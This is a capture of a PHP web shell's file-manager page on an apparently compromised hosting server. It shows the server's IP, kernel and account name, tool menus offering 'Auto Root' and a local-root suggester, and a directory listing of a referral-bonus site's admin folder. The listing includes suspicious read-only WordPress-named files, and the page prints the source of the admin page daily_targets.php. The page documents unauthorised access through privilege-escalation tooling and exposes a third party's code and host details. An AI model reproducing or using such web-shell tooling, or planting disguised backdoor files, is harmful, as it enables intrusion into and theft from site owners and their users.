Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
admin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ads.php
10.11
KB
-rw-r--r--
2025-12-22 20:20
announcements.php
8.13
KB
-rw-r--r--
2025-12-25 17:46
banners.php
9.86
KB
-rw-r--r--
2025-12-22 19:19
boosts.php
5.51
KB
-rw-r--r--
2025-12-24 21:41
daily_targets.php
11.29
KB
-rw-r--r--
2025-12-26 07:59
dashboard.php
9.23
KB
-rw-r--r--
2025-12-25 12:46
deposits.php
13.59
KB
-rw-r--r--
2026-01-26 16:58
dpin_requests.php
7.43
KB
-rw-r--r--
2025-12-24 21:41
dpins.php
9.37
KB
-rw-r--r--
2025-12-23 19:48
error_log
1.14
KB
-rw-r--r--
2026-01-07 16:39
footer.php
122
B
-rw-r--r--
2025-12-25 18:15
header.php
6.83
KB
-rw-r--r--
2026-01-26 17:15
login.php
4.42
KB
-rw-r--r--
2026-01-26 17:46
lucky_wheel.php
24.12
KB
-rw-r--r--
2026-01-26 16:57
orders.php
12.63
KB
-rw-r--r--
2026-01-07 16:27
payment_methods.php
6.53
KB
-rw-r--r--
2025-12-23 19:24
plans.php
22.86
KB
-rw-r--r--
2025-12-29 11:03
products.php
10.72
KB
-rw-r--r--
2026-01-07 16:15
ranks.php
7.31
KB
-rw-r--r--
2025-12-25 16:48
referrals.php
8.7
KB
-rw-r--r--
2025-12-25 12:43
return.php
440
B
-rw-r--r--
2025-12-29 13:55
settings.php
10.77
KB
-rw-r--r--
2026-01-07 16:26
tickets.php
11.98
KB
-rw-r--r--
2025-12-22 19:21
users.php
18.1
KB
-rw-r--r--
2025-12-29 13:53
withdraws.php
11.42
KB
-rw-r--r--
2025-12-24 22:29
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('ADMIN_PANEL', true); require_once '../includes/config.php'; requireAdmin(); $page_title = 'Manage Daily Targets'; // Handle target actions if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action']; try { if ($action === 'update_settings') { updateSetting('mission_duration', intval($_POST['mission_duration'])); updateSetting('mission_reset_time', $_POST['mission_reset_time']); setSuccess("Settings updated!"); } elseif ($action === 'create') { $stmt = $pdo->prepare(" INSERT INTO daily_targets (required_referrals, bonus_amount, status) VALUES (?, ?, 'active') "); $stmt->execute([ $_POST['required_referrals'], $_POST['bonus_amount'] ]); setSuccess("Daily target created!"); } elseif ($action === 'update') { $stmt = $pdo->prepare(" UPDATE daily_targets SET required_referrals = ?, bonus_amount = ? WHERE id = ? "); $stmt->execute([ $_POST['required_referrals'], $_POST['bonus_amount'], $_POST['target_id'] ]); setSuccess("Daily target updated!"); } elseif ($action === 'toggle_status') { $id = intval($_POST['target_id']); $stmt = $pdo->prepare("SELECT status FROM daily_targets WHERE id = ?"); $stmt->execute([$id]); $current = $stmt->fetch(); $newStatus = ($current['status'] === 'active') ? 'inactive' : 'active'; $stmt = $pdo->prepare("UPDATE daily_targets SET status = ? WHERE id = ?"); $stmt->execute([$newStatus, $id]); setSuccess("Target status updated!"); } elseif ($action === 'delete') { $stmt = $pdo->prepare("DELETE FROM daily_targets WHERE id = ?"); $stmt->execute([intval($_POST['target_id'])]); setSuccess("Daily target deleted!"); } } catch (Exception $e) { setError("Error: " . $e->getMessage()); } header('Location: daily_targets.php'); exit; } // Get all targets $stmt = $pdo->query("SELECT * FROM daily_targets ORDER BY id ASC"); $targets = $stmt->fetchAll(); $editTarget = null; if (isset($_GET['edit'])) { $stmt = $pdo->prepare("SELECT * FROM daily_targets WHERE id = ?"); $stmt->execute([intval($_GET['edit'])]); $editTarget = $stmt->fetch(); } include 'header.php'; ?> <?php $success = getSuccess(); if ($success) echo '<div class="alert alert-success"><i class="fas fa-check-circle"></i> ' . htmlspecialchars($success) . '</div>'; $error = getError(); if ($error) echo '<div class="alert alert-danger"><i class="fas fa-exclamation-circle"></i> ' . htmlspecialchars($error) . '</div>'; ?> <!-- Add/Edit Daily Target --> <div class="row"> <!-- Left Column: Settings & Forms --> <div class="col-md-6"> <!-- Add/Edit Daily Target --> <div class="card" style="margin-bottom: 20px;"> <div class="card-header"> <i class="fas fa-<?php echo $editTarget ? 'edit' : 'plus'; ?>"></i> <?php echo $editTarget ? 'Edit Daily Target' : 'Set New Daily Target'; ?> </div> <div class="card-body"> <form method="POST" action=""> <input type="hidden" name="action" value="<?php echo $editTarget ? 'update' : 'create'; ?>"> <?php if ($editTarget): ?> <input type="hidden" name="target_id" value="<?php echo $editTarget['id']; ?>"> <?php endif; ?> <div class="form-group"> <label class="form-label">Required Referrals (Today)</label> <input type="number" name="required_referrals" class="form-control" placeholder="e.g., 2" value="<?php echo $editTarget ? $editTarget['required_referrals'] : ''; ?>" required> </div> <div class="form-group"> <label class="form-label">Bonus Amount (<?php echo getSetting('currency_symbol', '$'); ?>)</label> <input type="number" name="bonus_amount" class="form-control" placeholder="e.g., 1.00" step="0.01" value="<?php echo $editTarget ? $editTarget['bonus_amount'] : ''; ?>" required> </div> <div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 10px;"> <button type="submit" class="btn btn-primary"> <i class="fas fa-save"></i> <?php echo $editTarget ? 'Update' : 'Create'; ?> Target </button> <?php if ($editTarget): ?> <a href="daily_targets.php" class="btn btn-secondary">Cancel</a> <?php endif; ?> </div> </form> </div> </div> <!-- Global Mission Settings --> <div class="card"> <div class="card-header"> <i class="fas fa-cogs"></i> Mission Settings </div> <div class="card-body"> <div class="alert alert-success" style="background: linear-gradient(45deg, #11998e, #38ef7d); border: none; color: white;"> <div style="display: flex; align-items: center; justify-content: space-between;"> <div> <h5 style="margin: 0; font-weight: 700; font-size: 16px;"> <i class="fas fa-sync-alt fa-spin" style="margin-right: 8px;"></i> Automatic Reset Active </h5> <p style="margin: 5px 0 0; font-size: 12px; opacity: 0.9;"> Daily missions auto-reset every <strong>24 Hours</strong>. </p> </div> <div style="text-align: right;"> <span style="background: rgba(255,255,255,0.2); padding: 5px 10px; border-radius: 20px; font-size: 11px; font-weight: bold;"> SYSTEM ONLINE </span> </div> </div> </div> <div style="color: var(--text-secondary); font-size: 13px; line-height: 1.6; text-align: center; margin-top: 15px;"> <i class="fas fa-info-circle"></i> The system automatically manages mission cycles. Users will see a countdown relative to the server's 24-hour cycle. No manual intervention required. </div> </div> </div> </div> <!-- Right Column: List --> <div class="col-md-6"> <div class="card"> <div class="card-header"> <i class="fas fa-tasks"></i> All Daily Targets </div> <div class="card-body"> <?php if (empty($targets)): ?> <p style="text-align: center; color: var(--text-secondary);">No targets set.</p> <?php else: ?> <div style="max-height: 600px; overflow-y: auto;"> <div class="table-responsive"> <table> <thead> <tr> <th>Referrals</th> <th>Bonus</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($targets as $target): ?> <tr> <td><strong><?php echo $target['required_referrals']; ?> Referrals</strong></td> <td><?php echo formatCurrency($target['bonus_amount']); ?></td> <td> <span class="badge badge-<?php echo $target['status'] === 'active' ? 'success' : 'danger'; ?>"> <?php echo ucfirst($target['status']); ?> </span> </td> <td> <div style="display: flex; gap: 5px;"> <a href="daily_targets.php?edit=<?php echo $target['id']; ?>" class="btn btn-secondary btn-sm"><i class="fas fa-edit"></i></a> <form method="POST" action="" style="margin:0;"> <input type="hidden" name="action" value="toggle_status"> <input type="hidden" name="target_id" value="<?php echo $target['id']; ?>"> <button type="submit" class="btn btn-<?php echo $target['status'] === 'active' ? 'warning' : 'success'; ?> btn-sm"> <i class="fas fa-power-off"></i> </button> </form> <form method="POST" action="" style="margin:0;" onsubmit="return confirm('Delete this target?')"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target_id" value="<?php echo $target['id']; ?>"> <button type="submit" class="btn btn-danger btn-sm"><i class="fas fa-trash"></i></button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> <?php endif; ?> </div> </div> </div> </div> <?php include 'footer.php'; ?>